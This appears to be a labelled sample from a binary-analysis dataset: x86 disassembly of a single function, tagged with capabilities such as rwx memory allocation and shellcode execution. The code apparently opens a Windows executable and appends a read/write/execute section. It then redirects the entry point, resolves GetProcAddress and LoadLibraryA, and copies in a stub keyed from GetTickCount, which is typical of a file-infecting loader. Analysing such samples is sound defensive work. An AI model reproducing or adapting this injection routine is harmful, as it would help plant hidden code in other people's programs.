Function at 0x40e5e6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push 0x130
push 0x410da8
call fcn.0040f068
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x40ea7b
cmp dword [ebp + 0x14], edi
je 0x40ea7b
xor eax, eax
inc eax
mov edx, dword [ebp + 0x10]
cmp edx, eax
jl 0x40ea7e
cmp dword [ebp + 0x18], eax
jl 0x40ea7e
mov ecx, sub.KERNEL32.dll_RtlUnwind
sub ecx, 0x40ea84
mov dword [ebp - 0x20], ecx
lea ebx, [ecx + edx]
test al, bl
je 0x40e639
inc edx
mov dword [ebp + 0x10], edx
add ecx, edx
add ecx, dword [ebp + 0x18]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 4], eax
or ebx, 0xffffffff
mov dword [0x41c488], ebx
push edi
push edi
push 3
push edi
push edi
mov esi, 0xc0000000
push esi
push dword [ebp + 8]
call dword [0x4145e8]
mov dword [0x41b474], eax
cmp eax, edi
je 0x40e672
cmp eax, ebx
jne 0x40e6a9
push edi
push edi
push 0x104
lea eax, [ebp - 0x140]
push eax
push ebx
push dword [ebp + 8]
push edi
push edi
call dword [0x41461c]
push edi
push edi
push 3
push edi
push edi
push esi
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x41b474], eax
cmp eax, ebx
je 0x40e6c5
push edi
lea ecx, [ebp - 0x1c]
push ecx
mov ebx, 0x1000
push ebx
mov esi, 0x41b480
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40e6cc
push 2
jmp 0x40e934
cmp dword [ebp - 0x1c], ebx
jne 0x40e6fa
mov dword [0x41c48c], esi
movzx eax, word [0x41b4bc]
add eax, 0x41b484
mov dword [0x41b478], eax
lea ecx, [eax + 0x14]
mov dword [0x41c484], ecx
cmp dword [eax - 4], 0x4550
je 0x40e701
push 3
jmp 0x40e934
movzx edx, word [eax + 2]
lea edx, [edx + edx*4]
movzx eax, word [eax + 0x10]
add eax, ecx
lea eax, [eax + edx*8 - 0x28]
mov dword [0x41b470], eax
mov ecx, dword [ecx + 0x24]
mov dword [ebp - 0x2c], ecx
mov ebx, dword [eax + 0x14]
add ebx, dword [eax + 0x10]
mov dword [ebp - 0x34], ebx
push edi
push dword [0x41b474]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
sub esi, ebx
mov dword [ebp - 0x28], esi
push edi
push dword [ebp - 0x2c]
push ebx
call fcn.0040e4f5
pop ecx
pop ecx
add eax, esi
add eax, dword [ebp - 0x24]
push eax
push edi
push 4
pop esi
push esi
push edi
push dword [0x41b474]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x41c488], eax
cmp eax, edi
je 0x40e935
push edi
push edi
push edi
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
mov dword [0x41c48c], esi
cmp esi, edi
jne 0x40e78d
push 4
jmp 0x40e934
movzx eax, word [esi + 0x3c]
lea eax, [eax + esi + 4]
mov dword [0x41b478], eax
lea ecx, [eax + 0x14]
mov dword [0x41c484], ecx
lea edx, [ecx + 0x60]
mov dword [0x41c480], edx
movzx edx, word [eax + 2]
lea edx, [edx + edx*4]
movzx eax, word [eax + 0x10]
add eax, ecx
lea edi, [eax + edx*8 - 0x28]
mov dword [0x41b470], edi
xor eax, eax
mov dword [ebp - 0x1c], eax
movzx ecx, byte [edi + eax]
mov edx, dword [ebp + 0x1c]
movsx edx, byte [eax + edx]
cmp ecx, edx
jne 0x40e7df
cmp eax, 8
jae 0x40e7e2
inc eax
jmp 0x40e7c5
cmp eax, 8
jne 0x40e7eb
push 5
jmp 0x40e934
push dword [ebp - 0x2c]
push dword [edi + 0x10]
call fcn.0040e4f5
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x28]
lea ecx, [esi + ebx]
push ecx
mov ecx, dword [edi + 0x14]
add ecx, esi
add ecx, eax
push ecx
call sub.KERNEL32.dll_RtlMoveMemory
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x41b470]
sub eax, dword [ecx + 0x10]
push eax
mov eax, dword [0x41c48c]
add eax, ebx
push eax
call sub.KERNEL32.dll_RtlZeroMemory
mov eax, dword [0x41b470]
mov ecx, dword [ebp - 0x1c]
mov dword [eax + 0x10], ecx
mov eax, dword [0x41c484]
push dword [eax + 0x20]
mov esi, dword [0x41b470]
mov eax, dword [esi + 0xc]
add eax, dword [esi + 8]
push eax
call fcn.0040e4f5
pop ecx
pop ecx
mov ebx, eax
mov dword [ebp - 0x3c], ebx
mov edi, dword [esi + 0x14]
add edi, dword [0x41c48c]
add edi, dword [ebp - 0x1c]
mov dword [ebp - 0x38], edi
add esi, 0x28
mov dword [0x41b470], esi
mov dword [esi + 0xc], ebx
mov ecx, dword [0x41b470]
mov eax, dword [ebp - 0x24]
mov dword [ecx + 8], eax
mov ecx, edi
sub ecx, dword [0x41c48c]
mov edx, dword [0x41b470]
mov dword [edx + 0x14], ecx
mov ecx, dword [0x41b470]
mov dword [ecx + 0x10], eax
mov eax, dword [0x41b470]
mov dword [eax + 0x24], 0xe0000040
mov eax, dword [0x41b478]
inc word [eax + 2]
push 8
push dword [ebp + 0x1c]
push dword [0x41b470]
call sub.KERNEL32.dll_RtlMoveMemory
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [ebp - 0x20]
mov esi, 0x40ea84
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov byte [0x40ea8b], al
mov eax, dword [ebp + 0x10]
sub eax, 0x40eaa6
mov ecx, dword [ebp + 0x18]
lea eax, [eax + ecx + sub.KERNEL32.dll_RtlUnwind]
mov dword [0x40ea97], eax
mov eax, dword [0x41c484]
mov ecx, dword [eax + 0x10]
sub ecx, ebx
sub ecx, 0x40eac4
lea ecx, [ecx + 0x40ea80]
mov dword [0x40eac4], ecx
mov eax, dword [eax + 0x1c]
add eax, ebx
add eax, dword [ebp - 0x20]
add eax, dword [ebp + 0x10]
mov dword [0x40eaa7], eax
push str.GetProcAddress
call fcn.0040e53a
pop ecx
mov dword [0x40eaad], eax
test eax, eax
jne 0x40e949
push 6
pop esi
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call fcn.0040e036
pop ecx
pop ecx
mov eax, esi
jmp 0x40ea7e
mov ecx, dword [0x41c484]
mov ecx, dword [ecx + 0x1c]
add ecx, eax
mov dword [0x40eaad], ecx
push str.LoadLibraryA
call fcn.0040e53a
pop ecx
mov dword [0x40eab7], eax
test eax, eax
jne 0x40e982
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call fcn.0040e036
pop ecx
pop ecx
push 6
jmp 0x40ea78
mov ecx, dword [0x41c484]
mov ecx, dword [ecx + 0x1c]
add ecx, eax
mov dword [0x40eab7], ecx
push dword [ebp - 0x28]
push edi
mov eax, dword [ebp - 0x24]
add eax, edi
push eax
call sub.KERNEL32.dll_RtlMoveMemory
push dword [ebp - 0x20]
push esi
push edi
call sub.KERNEL32.dll_RtlMoveMemory
mov eax, dword [ebp - 0x20]
add eax, edi
mov dword [ebp - 0x30], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call sub.KERNEL32.dll_RtlMoveMemory
push dword [ebp + 0x18]
push dword [ebp + 0x14]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + 0x10]
add eax, ecx
push eax
call sub.KERNEL32.dll_RtlMoveMemory
xor eax, eax
mov al, byte [0x40ea8b]
push eax
push dword [0x40ea97]
sub edi, esi
add edi, 0x40eaa6
push edi
call fcn.0040e5cc
mov esi, dword [0x41c484]
push dword [esi + 0x20]
mov edi, dword [0x41b470]
push dword [edi + 8]
call fcn.0040e4f5
add esp, 0x14
add eax, dword [edi + 0xc]
mov dword [esi + 0x38], eax
mov eax, dword [0x41c484]
mov dword [eax + 0x10], ebx
mov ecx, dword [0x41c480]
xor eax, eax
mov dword [ecx + 0x58], eax
mov ecx, dword [0x41c480]
mov dword [ecx + 0x5c], eax
mov dword [ebp - 4], eax
call fcn.0040ea3c
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x40ea7e
pop eax
jmp 0x40ea7e
xor eax, eax
inc eax
call fcn.0040f0a3
ret